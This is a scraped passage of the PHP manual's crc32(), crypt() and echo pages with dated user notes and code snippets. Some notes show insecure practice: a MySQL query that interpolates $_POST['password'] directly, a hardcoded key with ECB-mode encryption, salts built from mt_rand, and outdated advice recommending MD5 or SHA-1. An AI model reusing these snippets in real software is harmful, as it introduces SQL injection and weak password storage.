                0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0,
                0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01,
                0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40,
                0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
                0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0,
                0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01,
                0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41,
                0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
                0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0,
                0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01,
                0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41,
                0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
                0x40);
    $auchCRCLo=array(    0x00, 0xC0, 0xC1, 0x01, 0xC3, 0x03, 0x02, 0xC2, 0xC6, 0x06, 0x07, 0xC7, 0x05, 0xC5, 0xC4,
                0x04, 0xCC, 0x0C, 0x0D, 0xCD, 0x0F, 0xCF, 0xCE, 0x0E, 0x0A, 0xCA, 0xCB, 0x0B, 0xC9, 0x09,
                0x08, 0xC8, 0xD8, 0x18, 0x19, 0xD9, 0x1B, 0xDB, 0xDA, 0x1A, 0x1E, 0xDE, 0xDF, 0x1F, 0xDD,
                0x1D, 0x1C, 0xDC, 0x14, 0xD4, 0xD5, 0x15, 0xD7, 0x17, 0x16, 0xD6, 0xD2, 0x12, 0x13, 0xD3,
                0x11, 0xD1, 0xD0, 0x10, 0xF0, 0x30, 0x31, 0xF1, 0x33, 0xF3, 0xF2, 0x32, 0x36, 0xF6, 0xF7,
                0x37, 0xF5, 0x35, 0x34, 0xF4, 0x3C, 0xFC, 0xFD, 0x3D, 0xFF, 0x3F, 0x3E, 0xFE, 0xFA, 0x3A,
                0x3B, 0xFB, 0x39, 0xF9, 0xF8, 0x38, 0x28, 0xE8, 0xE9, 0x29, 0xEB, 0x2B, 0x2A, 0xEA, 0xEE,
                0x2E, 0x2F, 0xEF, 0x2D, 0xED, 0xEC, 0x2C, 0xE4, 0x24, 0x25, 0xE5, 0x27, 0xE7, 0xE6, 0x26,
                0x22, 0xE2, 0xE3, 0x23, 0xE1, 0x21, 0x20, 0xE0, 0xA0, 0x60, 0x61, 0xA1, 0x63, 0xA3, 0xA2,
                0x62, 0x66, 0xA6, 0xA7, 0x67, 0xA5, 0x65, 0x64, 0xA4, 0x6C, 0xAC, 0xAD, 0x6D, 0xAF, 0x6F,
                0x6E, 0xAE, 0xAA, 0x6A, 0x6B, 0xAB, 0x69, 0xA9, 0xA8, 0x68, 0x78, 0xB8, 0xB9, 0x79, 0xBB,
                0x7B, 0x7A, 0xBA, 0xBE, 0x7E, 0x7F, 0xBF, 0x7D, 0xBD, 0xBC, 0x7C, 0xB4, 0x74, 0x75, 0xB5,
                0x77, 0xB7, 0xB6, 0x76, 0x72, 0xB2, 0xB3, 0x73, 0xB1, 0x71, 0x70, 0xB0, 0x50, 0x90, 0x91,
                0x51, 0x93, 0x53, 0x52, 0x92, 0x96, 0x56, 0x57, 0x97, 0x55, 0x95, 0x94, 0x54, 0x9C, 0x5C,
                0x5D, 0x9D, 0x5F, 0x9F, 0x9E, 0x5E, 0x5A, 0x9A, 0x9B, 0x5B, 0x99, 0x59, 0x58, 0x98, 0x88,
                0x48, 0x49, 0x89, 0x4B, 0x8B, 0x8A, 0x4A, 0x4E, 0x8E, 0x8F, 0x4F, 0x8D, 0x4D, 0x4C, 0x8C,
                0x44, 0x84, 0x85, 0x45, 0x87, 0x47, 0x46, 0x86, 0x82, 0x42, 0x43, 0x83, 0x41, 0x81, 0x80,
                0x40);
    $length        =($length<=0?strlen($string):$length);
    $uchCRCHi    =0xFF;
    $uchCRCLo    =0xFF;
    $uIndex        =0;
    for ($i=0;$i<$length;$i++){
        $uIndex        =$uchCRCLo ^ ord(substr($string,$i,1));
        $uchCRCLo    =$uchCRCHi ^ $auchCRCHi[$uIndex];
        $uchCRCHi    =$auchCRCLo[$uIndex] ;
    }
    return(chr($uchCRCLo).chr($uchCRCHi));
}
?>
Bulk at bulksplace dot com 27-Aug-2005 05:46
A faster way I've found to return CRC values of larger files, is instead of using the file()/implode() method used below, is to us file_get_contents() (PHP 4 >= 4.3.0) which uses memory mapping techniques if supported by your OS to enhance performance. Here's my example function:

<?php
// $file is the path to the file you want to check.
function file_crc($file)
{
    $file_string = file_get_contents($file);

    $crc = crc32($file_string);

    return sprintf("%u", $crc);
}

$file_to_crc = /home/path/to/file.jpg;

echo file_crc($file_to_crc); // Outputs CRC value for given file.
?>

I've found in testing this method is MUCH faster for larger binary files.
waldomonster at netjukebox dot demon dot nl 23-Apr-2004 08:48
<?php
$data = 'dot';
echo dechex(crc32($data));
?>

Returns 59278a3
Witch is missing a leading zero.

<?php
$data = 'dot';
echo str_pad(dechex(crc32($data)), 8, '0', STR_PAD_LEFT);
?>

Returns the correct string: 059278a3
arachnid at notdot dot net 13-Apr-2004 08:44
Note that the CRC32 algorithm should NOT be used for cryptographic purposes, or in situations where a hostile/untrusted user is involved, as it is far too easy to generate a hash collision for CRC32 (two different binary strings that have the same CRC32 hash). Instead consider SHA-1 or MD5.
same 01-Feb-2004 05:27
bit by bit crc32 computation

<?php

function bitbybit_crc32($str,$first_call=false){

    //reflection in 32 bits of crc32 polynomial 0x04C11DB7
    $poly_reflected=0xEDB88320;

    //=0xFFFFFFFF; //keep track of register value after each call
    static $reg=0xFFFFFFFF;

    //initialize register on first call
    if($first_call) $reg=0xFFFFFFFF;

    $n=strlen($str);
    $zeros=$n<4 ? $n : 4;

    //xor first $zeros=min(4,strlen($str)) bytes into the register
    for($i=0;$i<$zeros;$i++)
        $reg^=ord($str{$i})<<$i*8;

    //now for the rest of the string
    for($i=4;$i<$n;$i++){
        $next_char=ord($str{$i});
        for($j=0;$j<8;$j++)
            $reg=(($reg>>1&0x7FFFFFFF)|($next_char>>$j&1)<<0x1F)
                ^($reg&1)*$poly_reflected;
    }

    //put in enough zeros at the end
    for($i=0;$i<$zeros*8;$i++)
        $reg=($reg>>1&0x7FFFFFFF)^($reg&1)*$poly_reflected;

    //xor the register with 0xFFFFFFFF
    return ~$reg;
}

$str="123456789"; //whatever
$blocksize=4; //whatever

for($i=0;$i<strlen($str);$i+=$blocksize) $crc=bitbybit_crc32(substr($str,$i,$blocksize),!$i);

?>
xethmir at yournextclient dot com 16-Jul-2003 07:12
This is a really simple way of displaying the crc-32 hexadecimal code/checksum for a file... (absolute paths are more reliable)

<?php
$file = "http://example.com/bar.jpg";

// Read the file into an array
$data = file($file);

// Join the array into a string
$data = implode('', $data);

// Calculate the crc
$crc = crc32($data);

//convert from decimal to hexadecimal
$crchex=DecHex($crc*1);

//echo the result
echo "$crchex";
?>
quix at free dot fr 05-May-2003 01:19
I needed the crc32 of a file that was pretty large, so I didn't want to read it into memory.
So I made this:

<?php
    $GLOBALS['__crc32_table']=array();        // Lookup table array
    __crc32_init_table();

    function __crc32_init_table() {            // Builds lookup table array
        // This is the official polynomial used by
        // CRC-32 in PKZip, WinZip and Ethernet.
        $polynomial = 0x04c11db7;

        // 256 values representing ASCII character codes.
        for($i=0;$i <= 0xFF;++$i) {
            $GLOBALS['__crc32_table'][$i]=(__crc32_reflect($i,8) << 24);
            for($j=0;$j < 8;++$j) {
                $GLOBALS['__crc32_table'][$i]=(($GLOBALS['__crc32_table'][$i] << 1) ^
                    (($GLOBALS['__crc32_table'][$i] & (1 << 31))?$polynomial:0));
            }
            $GLOBALS['__crc32_table'][$i] = __crc32_reflect($GLOBALS['__crc32_table'][$i], 32);
        }
    }

    function __crc32_reflect($ref, $ch) {        // Reflects CRC bits in the lookup table
        $value=0;

        // Swap bit 0 for bit 7, bit 1 for bit 6, etc.
        for($i=1;$i<($ch+1);++$i) {
            if($ref & 1) $value |= (1 << ($ch-$i));
            $ref = (($ref >> 1) & 0x7fffffff);
        }
        return $value;
    }

    function __crc32_string($text) {        // Creates a CRC from a text string
        // Once the lookup table has been filled in by the two functions above,
        // this function creates all CRCs using only the lookup table.

        // You need unsigned variables because negative values
        // introduce high bits where zero bits are required.
        // PHP doesn't have unsigned integers:
        // I've solved this problem by doing a '&' after a '>>'.

        // Start out with all bits set high.
        $crc=0xffffffff;
        $len=strlen($text);

        // Perform the algorithm on each character in the string,
        // using the lookup table values.
        for($i=0;$i < $len;++$i) {
            $crc=(($crc >> 8) & 0x00ffffff) ^ $GLOBALS['__crc32_table'][($crc & 0xFF) ^ ord($text{$i})];
        }

        // Exclusive OR the result with the beginning value.
        return $crc ^ 0xffffffff;
    }

    function __crc32_file($name) {            // Creates a CRC from a file
        // Info: look at __crc32_string

        // Start out with all bits set high.
        $crc=0xffffffff;

        if(($fp=fopen($name,'rb'))===false) return false;

        // Perform the algorithm on each character in file
        for(;;) {
            $i=@fread($fp,1);
            if(strlen($i)==0) break;
            $crc=(($crc >> 8) & 0x00ffffff) ^ $GLOBALS['__crc32_table'][($crc & 0xFF) ^ ord($i)];
        }

        @fclose($fp);

        // Exclusive OR the result with the beginning value.
        return $crc ^ 0xffffffff;
    }
?>
spectrumizer at cycos dot net 29-Dec-2002 03:30
Here is a tested and working CRC16-Algorithm:

<?php
function crc16($string) {
  $crc = 0xFFFF;
  for ($x = 0; $x < strlen ($string); $x++) {
    $crc = $crc ^ ord($string[$x]);
    for ($y = 0; $y < 8; $y++) {
      if (($crc & 0x0001) == 0x0001) {
        $crc = (($crc >> 1) ^ 0xA001);
      } else { $crc = $crc >> 1; }
    }
  }
  return $crc;
}
?>

Regards,
Mario
count_chars
crypt
String Functions


One-way string hashing

crc32
echo
String Functions
PHP Manual

crypt

(PHP 4, PHP 5)

crypt — One-way string hashing

Description

string crypt ( string $str [, string $salt ] )

crypt() will return a hashed string using the standard Unix DES-based algorithm or alternative algorithms that may be available on the system.

Some operating systems support more than one type of hash. In fact, sometimes the standard DES-based algorithm is replaced by an MD5-based algorithm. The hash type is triggered by the salt argument. Prior to 5.3, PHP would determine the available algorithms at install-time based on the system's crypt(). If no salt is provided, PHP will auto-generate either a standard two character (DES) salt, or a twelve character (MD5), depending on the availability of MD5 crypt(). PHP sets a constant named CRYPT_SALT_LENGTH which indicates the longest valid salt allowed by the available hashes.

The standard DES-based crypt() returns the salt as the first two characters of the output. It also only uses the first eight characters of str, so longer strings that start with the same eight characters will generate the same result (when the same salt is used).

On systems where the crypt() function supports multiple hash types, the following constants are set to 0 or 1 depending on whether the given type is available:

  • CRYPT_STD_DES - Standard DES-based hash with a two character salt from the alphabet "./0-9A-Za-z". Using invalid characters in the salt will cause crypt() to fail.
  • CRYPT_EXT_DES - Extended DES-based hash. The "salt" is a 9-character string consisting of an underscore followed by 4 bytes of iteration count and 4 bytes of salt. These are encoded as printable characters, 6 bits per character, least significant character first. The values 0 to 63 are encoded as "./0-9A-Za-z". Using invalid characters in the salt will cause crypt() to fail.
  • CRYPT_MD5 - MD5 hashing with a twelve character salt starting with $1$
  • CRYPT_BLOWFISH - Blowfish hashing with a salt as follows: "$2a$", a two digit cost parameter, "$", and 22 digits from the alphabet "./0-9A-Za-z". Using characters outside of this range in the salt will cause crypt() to return a zero-length string. The two digit cost parameter is the base-2 logarithm of the iteration count for the underlying Blowfish-based hashing algorithmeter and must be in range 04-31, values outside this range will cause crypt() to fail.
  • CRYPT_SHA256 - SHA-256 hash with a sixteen character salt prefixed with $5$. If the salt string starts with 'rounds=<N>$', the numeric value of N is used to indicate how many times the hashing loop should be executed, much like the cost parameter on Blowfish. The default number of rounds is 5000, there is a minimum of 1000 and a maximum of 999,999,999. Any selection of N outside this range will be truncated to the nearest limit.
  • CRYPT_SHA512 - SHA-512 hash with a sixteen character salt prefixed with $6$. If the salt string starts with 'rounds=<N>$', the numeric value of N is used to indicate how many times the hashing loop should be executed, much like the cost parameter on Blowfish. The default number of rounds is 5000, there is a minimum of 1000 and a maximum of 999,999,999. Any selection of N outside this range will be truncated to the nearest limit.

Note:

As of PHP 5.3.0, PHP contains its own implementation and will use that if the system lacks of support for one or more of the algorithms.

Parameters

str

The string to be hashed.

salt

An optional salt string to base the hashing on. If not provided, the behaviour is defined by the algorithm implementation and can lead to unexpected results.

Return Values

Returns the hashed string or a string that is shorter than 13 characters and is guaranteed to differ from the salt on failure.

Changelog

Version | Description
5.3.2 | Added SHA-256 and SHA-512 crypt based on Ulrich Drepper's » implementation.
5.3.2 | Fixed Blowfish behaviour on invalid rounds to return "failure" string ("*0" or "*1"), instead of falling back to DES.
5.3.0 | PHP now contains its own implementation for the MD5 crypt, Standard DES, Extended DES and the Blowfish algorithms and will use that if the system lacks of support for one or more of the algorithms.

Examples

Example #1 crypt() examples

<?php
$password = crypt('mypassword'); // let the salt be automatically generated

/* You should pass the entire results of crypt() as the salt for comparing a
   password, to avoid problems when different hashing algorithms are used. (As
   it says above, standard DES-based password hashing uses a 2-character salt,
   but MD5-based hashing uses 12.) */
if (crypt($user_input, $password) == $password) {
   echo "Password verified!";
}
?>

Example #2 Using crypt() with htpasswd

<?php
// Set the password
$password = 'mypassword';

// Get the hash, letting the salt be automatically generated
$hash = crypt($password);
?>

Example #3 Using crypt() with different hash types

<?php
if (CRYPT_STD_DES == 1) {
    echo 'Standard DES: ' . crypt('rasmuslerdorf', 'rl') . "\n";
}

if (CRYPT_EXT_DES == 1) {
    echo 'Extended DES: ' . crypt('rasmuslerdorf', '_J9..rasm') . "\n";
}

if (CRYPT_MD5 == 1) {
    echo 'MD5:          ' . crypt('rasmuslerdorf', '$1$rasmusle$') . "\n";
}

if (CRYPT_BLOWFISH == 1) {
    echo 'Blowfish:     ' . crypt('rasmuslerdorf', '$2a$07$usesomesillystringforsalt$') . "\n";
}

if (CRYPT_SHA256 == 1) {
    echo 'SHA-256:      ' . crypt('rasmuslerdorf', '$5$rounds=5000$usesomesillystringforsalt$') . "\n";
}

if (CRYPT_SHA512 == 1) {
    echo 'SHA-512:      ' . crypt('rasmuslerdorf', '$6$rounds=5000$usesomesillystringforsalt$') . "\n";
}
?>

The above example will output something similar to:

Standard DES: rl.3StKT.4T8M
Extended DES: _J9..rasmBYk8r9AiWNc
MD5:          $1$rasmusle$rISCgZzpwk3UhDidwXvin0
Blowfish:     $2a$07$usesomesillystringfore2uDLvp1Ii2e./U9C8sBjqp8I90dH6hi
SHA-256:      $5$rounds=5000$usesomesillystri$KqJWpanXZHKq2BOB43TSaYhEWsQ1Lr5QNyPCDH/Tp.6
SHA-512:      $6$rounds=5000$usesomesillystri$D4IrlXatmP7rx3P3InaxBeoomnAihCKRVQP22JZ6EY47Wc6BkroIuUUBOov1i.S5KPgErtP/EN5mcO.ChWQW21

Notes

Note: There is no decrypt function, since crypt() uses a one-way algorithm.

See Also

  • md5() - Calculate the md5 hash of a string
  • The Mcrypt extension
  • The Unix man page for your crypt function for more information

User Contributed Notes

harry at simans dot net 27-Sep-2011 04:34
I made a nice little wrapper function for crypt():

<?php
function hasher($info, $encdata = false)
{
  $strength = "08";
  //if encrypted data is passed, check it against input ($info)
  if ($encdata) {
    if (substr($encdata, 0, 60) == crypt($info, "$2a$".$strength."$".substr($encdata, 60))) {
      return true;
    }
    else {
      return false;
    }
  }
  else {
  //make a salt and hash it with input, and add salt to end
  $salt = "";
  for ($i = 0; $i < 22; $i++) {
    $salt .= substr("./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", mt_rand(0, 63), 1);
  }
  //return 82 char string (60 char hash & 22 char salt)
return crypt($info, "$2a$".$strength."$".$salt).$salt;
}
}
?>

This wrapper will accept a string as input and hash it, and output the hash result of the string and salt together, plus the salt added on the end. You can then store that output in a db, and pass it on to the function as the 2nd parameter when you go to verify it, along with the user input or whatever as the first.

Examples:

<?php
$hash = hasher($userinput);
if ($hash == hasher($userinput, $hash) {//authed}
?>

Neat huh?
eleljrk at gmail dot com 21-Sep-2011 11:23
I've seen many CRYPT_BLOWFISH salt generators, but none REALLY go into the depth of it. This give you a RANDOM string of 22 characters, the string can contain ANY OF THE ALLOWED characters for the salt. I wont claim this the best solution, but this is fairly much everything you can do with a random salt generator.

<?php

public function getSalt() {

    $c = explode(" ", ". / a A b B c C d D e E f F g G h H i I j J k K l L m M n N o O p P q Q r R s S t T u U v V w W x X y Y z Z 0 1 2 3 4 5 6 7 8 9");
    $ks = array_rand($c, 22);

    $s = "";
    foreach($ks as $k) { $s .= $c[$k]; }

    return $s;

}

?>

Take note that every allowed character is inside the $c variable, $s is the salt, $ks is for keys to use in salt and $k is key. There is probably a better and shorter script out there, but this is solid enough for me.

Have fun with the code.
kaminski at istori dot com 05-Feb-2011 03:43
Here is an expression to generate pseudorandom salt for the CRYPT_BLOWFISH hash type:

<?php $salt = substr(str_replace('+', '.', base64_encode(pack('N4', mt_rand(), mt_rand(), mt_rand(), mt_rand()))), 0, 22); ?>

It is intended for use on systems where mt_getrandmax() == 2147483647.

The salt created will be 128 bits in length, padded to 132 bits and then expressed in 22 base64 characters.  (CRYPT_BLOWFISH only uses 128 bits for the salt, even though there are 132 bits in 22 base64 characters.  If you examine the CRYPT_BLOWFISH input and output, you can see that it ignores the last four bits on input, and sets them to zero on output.)

Note that the high-order bits of the four 32-bit dwords returned by mt_rand() will always be zero (since mt_getrandmax == 2^31), so only 124 of the 128 bits will be pseudorandom.  I found that acceptable for my application.
Robin Leffmann 25-Dec-2010 06:23
The salts for crypt() must follow the usual base64 ASCII pattern (./0-9A-Za-z only), but the payload string can contain any binary data.
Thomas Praxl 10-Jan-2010 09:28
Note that crypt can cause hangs on Windows OS when used with a salt. This applies only to certain circumstances.
php at nospam dot nowhere dot com 26-Aug-2009 07:21
The makesalt() function code below when used to create an MD5 salt, produces a salt with characters not typically in a salt used by operating system crypt functions.  Some of these characters may have unintended side effects depending on how they are used - including the following: @ ` ~ \ | {}.

I am using the following to create MD5-Crypt hashes, (yes, I am assuming CRYPT_MD5 support is present).

<?php
function md5crypt($password){
    // create a salt that ensures crypt creates an md5 hash
    $base64_alphabet='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
                    .'abcdefghijklmnopqrstuvwxyz0123456789+/';
    $salt='$1$';
    for($i=0; $i<9; $i++){
        $salt.=$base64_alphabet[rand(0,63)];
    }
    // return the crypt md5 password
    return crypt($password,$salt.'$');
}
?>
addiakogiannis at isds dot gr 13-Jul-2007 03:46
Two siple functions for encrypting and decrypting with RIJNDAEL 256

function RIJNDAEL_encrypt($text){

    $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
    $key = "This is a very secret key";
    return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $text, MCRYPT_MODE_ECB, $iv));

}

function RIJNDAEL_decrypt($text){

    $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
    $key = "This is a very secret key";
  //I used trim to remove trailing spaces
return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $key, base64_decode($text), MCRYPT_MODE_ECB, $iv));

}

//example
echo RIJNDAEL_decrypt(RIJNDAEL_encrypt('Her name was lola!'));
leth at nowhere dot not 06-Apr-2007 07:51
for me(on OpenBSD4.0+Apache 1.3(standard)+php4.3.10) blowfish seems to work if you do something like this:

    if (CRYPT_BLOWFISH == 1)
    {
        $salt="this should really be a long line of salt";
        $blowfish_salt = "\$2a\$07\$".substr($salt, 0, CRYPT_SALT_LENGTH);
        echo crypt($pass, $blowfish_salt);
    }

of course with $salt set as a good long salt.
Jou 06-Apr-2007 01:52
I found out that you can use php:s crypt function to change  the user/root password in Linux distributions (at least in Slackware).

You just have to change the encrypted password for the user in the /etc/shadow file with the output from crypt("newpassword");
mikey_nich (at) hotmáil . com 04-Mar-2007 07:47
Are you using Apache2 on f.i. WinXP and want to create .htpasswd files via php? Then you need to use the APR1-MD5 encryption method. Here is a function for that:

<?php

function crypt_apr1_md5($plainpasswd) {
    $salt = substr(str_shuffle("abcdefghijklmnopqrstuvwxyz0123456789"), 0, 8);
    $len = strlen($plainpasswd);
    $text = $plainpasswd.'$apr1$'.$salt;
    $bin = pack("H32", md5($plainpasswd.$salt.$plainpasswd));
    for($i = $len; $i > 0; $i -= 16) { $text .= substr($bin, 0, min(16, $i)); }
    for($i = $len; $i > 0; $i >>= 1) { $text .= ($i & 1) ? chr(0) : $plainpasswd{0}; }
    $bin = pack("H32", md5($text));
    for($i = 0; $i < 1000; $i++) {
        $new = ($i & 1) ? $plainpasswd : $bin;
        if ($i % 3) $new .= $salt;
        if ($i % 7) $new .= $plainpasswd;
        $new .= ($i & 1) ? $bin : $plainpasswd;
        $bin = pack("H32", md5($new));
    }
    for ($i = 0; $i < 5; $i++) {
        $k = $i + 6;
        $j = $i + 12;
        if ($j == 16) $j = 5;
        $tmp = $bin[$i].$bin[$k].$bin[$j].$tmp;
    }
    $tmp = chr(0).chr(0).$bin[11].$tmp;
    $tmp = strtr(strrev(substr(base64_encode($tmp), 2)),
    "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",
    "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz");
    return "$"."apr1"."$".$salt."$".$tmp;
}

?>
tserong at sgi dot com 14-Dec-2006 12:18
Blowfish doesn't use a sixteen character salt, it uses sixteen *bytes* of salt.  So (courtesy of the docs for the Crypt::Eksblowfish::Bcrypt Perl module), it's:

    "$2", optional "a", "$", two digits, "$", and 22 base 64 digits

If the salt is not long enough, crypt will return "*0" and you will have no idea what is wrong.  Interestingly, the example in the documentation with a trailing '$' in the salt does not work.  Replace the '$' with a '.', and the output appears as advertised.
picolobo at pilab dot dyndns dot org 21-Sep-2006 01:49
I had problems with ENCRYPT MySQL function when i tried to compare with the encrypted password (with ENCRYPT).

Another solution i read from "UNIX Advanced programming" where i found about the UNIX system call "crypt()":

Password="tB" //The two first letters of encrypted password

SELECT password from users where Password=ENCRYPT('".$_POST['password']."',Password)

mysql> select password from users where password=encrypt('pasword','tB');
+---------------+
| password      |
+---------------+
| tBY8OVuabSiTU |
+---------------+
1 row in set (0.01 sec)

Bye.

> topace at lightbox dot org
> 22-Sep-2005 06:34
>
> To authenticate against a stored crypt in MySQL, simply use:
>
> SELECT ................
>           AND Password=ENCRYPT('".$_POST['password']."',Password)
solar at openwall dot com 23-Dec-2005 11:20
With different password hashing methods supported on different systems and with the need to generate salts with your own PHP code in order to use the more advanced / more secure methods, it takes special knowledge to use crypt() optimally, producing strong password hashes.  Other message digest / hashing functions supported by PHP, such as md5() and sha1(), are really no good for password hashing if used naively, resulting in hashes which may be brute-forced at rates much higher than those possible for hashes produced by crypt().

I have implemented a PHP password hashing framework (in PHP, tested with all of PHP 3, 4, and 5) which hides the complexity from your PHP applications (no need for you to worry about salts, etc.), yet does things in almost the best way possible given the constraints of the available functions.  The homepage for the framework is:

http://www.openwall.com/phpass/

I have placed this code in the public domain, so there are no copyrights or licensing restrictions to worry about.

P.S. I have 10 years of experience in password (in)security and I've developed several other password security tools and libraries.  So most people can feel confident they're getting this done better by using my framework than they could have done it on their own.
hotdog (at) gmx (dot) net 16-Nov-2005 07:34
WRONG:

$mypassword = "toto";
$smd5_pass = "{SMD5}......." // in openldap

if (preg_match ("/{SMD5}/i", $smd5_pass))
 {
  $encrypted = substr($md5_pass, 6);
  $hash = base64_decode($encrypted);
  $salt = substr($hash,16);
  $mhashed =  mhash(MHASH_MD5, $mypassword . $salt) ;
  $without_salt = explode($salt,$hash_hex);
   if ($without_salt[0] == $mhashed) {
    echo "Password verified <br>";
    } else {
    echo "Password Not verified<br>";
    }
 }

$without_salt = explode($salt,$hash_hex); should be $without_salt = explode($salt,$hash);

RIGHT:

$mypassword = "toto";
$smd5_pass = "{SMD5}......." // in openldap

if (preg_match ("/{SMD5}/i", $smd5_pass))
 {
  $encrypted = substr($md5_pass, 6);
  $hash = base64_decode($encrypted);
  $salt = substr($hash,16);
  $mhashed =  mhash(MHASH_MD5, $mypassword . $salt) ;
  $without_salt = explode($salt,$hash);
   if ($without_salt[0] == $mhashed) {
    echo "Password verified <br>";
    } else {
    echo "Password Not verified<br>";
    }
 }
Vlad Alexa Mancini mancin at nextcode dot org 15-May-2005 01:57
cleaner version of shadow() and with more ascii chars

<?php

function shadow ($input){
         for ($n = 0; $n < 9; $n++){
              $s .= chr(rand(64,126));
         }
         $seed =  "$1$".$s."$";
         $return = crypt($input,$seed);
    return $return;
}

>
thorhajo at gmail dot com 02-Sep-2004 03:34
Here's a little function I wrote to generate MD5 password hashes in the format they're found in /etc/shadow:

function shadow($password)
{
  $hash = '';
  for($i=0;$i<8;$i++)
  {
    $j = mt_rand(0,53);
    if($j<26)$hash .= chr(rand(65,90));
    else if($j<52)$hash .= chr(rand(97,122));
    else if($j<53)$hash .= '.';
    else $hash .= '/';
  }
  return crypt($password,'$1$'.$hash.'$');
}

I've written this so that each character in the a-zA-Z./ set has a 1/54 of a chance of being selected (26 + 26 + 2 = 54), thus being statistically even.
aidan at php dot net 05-Jul-2004 07:52
Text_Password allows one to create pronounceable and unpronounceable passwords.

http://pear.php.net/package/text_password
crc32
echo
String Functions


Output one or more strings

crypt
explode
String Functions
PHP Manual

echo

(PHP 4, PHP 5)

echo — Output one or more strings

Description

void echo ( string $arg1 [, string $... ] )

Outputs all parameters.

echo() is not actually a function (it is a language construct), so you are not required to use parentheses with it. echo() (unlike some other language constructs) does not behave like a function, so it cannot always be used in the context of a function. Additionally, if you want to pass more than one parameter to echo(), the parameters must not be enclosed within parentheses.

echo() also has a shortcut syntax, where you can immediately follow the opening tag with an equals sign. This short syntax only works with the short_open_tag configuration setting enabled.

I have <?=$foo?> foo.

Parameters

arg1

The parameter to output.

...

Return Values

No value is returned.

Examples

Example #1 echo() examples

<?php
echo "Hello World";

echo "This spans
multiple lines. The newlines will be
output as well";

echo "This spans\nmultiple lines. The newlines will be\noutput as well.";

echo "Escaping characters is done \"Like this\".";

// You can use variables inside of an echo statement
$foo = "foobar";
$bar = "barbaz";

echo "foo is $foo"; // foo is foobar

// You can also use arrays
$baz = array("value" => "foo");

echo "this is {$baz['value']} !"; // this is foo !

// Using single quotes will print the variable name, not the value
echo 'foo is $foo'; // foo is $foo

// If you are not using any other characters, you can just echo variables
echo $foo;          // foobar
echo $foo,$bar;     // foobarbarbaz

// Some people prefer passing multiple parameters to echo over concatenation.
echo 'This ', 'string ', 'was ', 'made ', 'with multiple parameters.', chr(10);
echo 'This ' . 'string ' . 'was ' . 'made ' . 'with concatenation.' . "\n";

echo <<<END
This uses the "here document" syntax to output
multiple lines with $variable interpolation. Note
that the here document terminator must appear on a
line with just a semicolon. no extra whitespace!
END;

// Because echo does not behave like a function, the following code is invalid.
($some_var) ? echo 'true' : echo 'false';

// However, the following examples will work:
($some_var) ? print 'true' : print 'false'; // print is also a construct, but
                                            // it behaves like a function, so
                                            // it may be used in this context.
echo $some_var ? 'true': 'false'; // changing the statement around
?>

Notes

Note: Because this is a language construct and not a function, it cannot be called using variable functions

See Also

  • print() - Output a string
  • printf() - Output a formatted string
  • flush() - Flush the output buffer
  • Heredoc syntax

User Contributed Notes

ximlabz at gmail dot com 05-Nov-2011 10:16
A remedy to the problems caused by different management of returns between different platforms you can use the predefined constant PHP_EOF as the second parameter:

<?php
$foo = "foo";
$bar = "bar";

echo "Foo is $foo", PHP_EOL;
echo "Bar is $bar";

// is the same as using:

echo "Foo is $foo\n";
echo "Bar is $bar";

// but here only for UNIX-like platforms
?>
fire at dls dot net 29-Jul-2011 11:01
Pay attention to this part of the documentation:
echo() (unlike some other language constructs) does not behave like a function, so it cannot always be used in the context of a function

I was trying to make certain that I was detecting errors and was trying code like this:

@alwaysFails() or echo('Surprise! It failed again');

This error was generated:
[29-Jul-2011 12:56:19] PHP Parse error:  syntax error, unexpected T_ECHO in /Applications/MAMP/test.php on line 12

Changing to die(), print() or a function I defined worked fine. Beware of this limitation of echo.
gbarros at yahoo-inc dot com 26-Jan-2010 02:10
just banged my head on this missing bits on the manual.
When using the <<< method, the array keys does not require any kind of quotes.

<?php
foreach ( $data as $i ){
echo <<< END
 <tr>
  <td>$i[date]</td>
  <td>$i[name]</td>
 </tr>
END;
}
?>

Let's hope you don't have any <?php echo $klingonships['th\'bl][ath']?> kind of array :)
Jakob Thomsen 23-Nov-2008 06:23
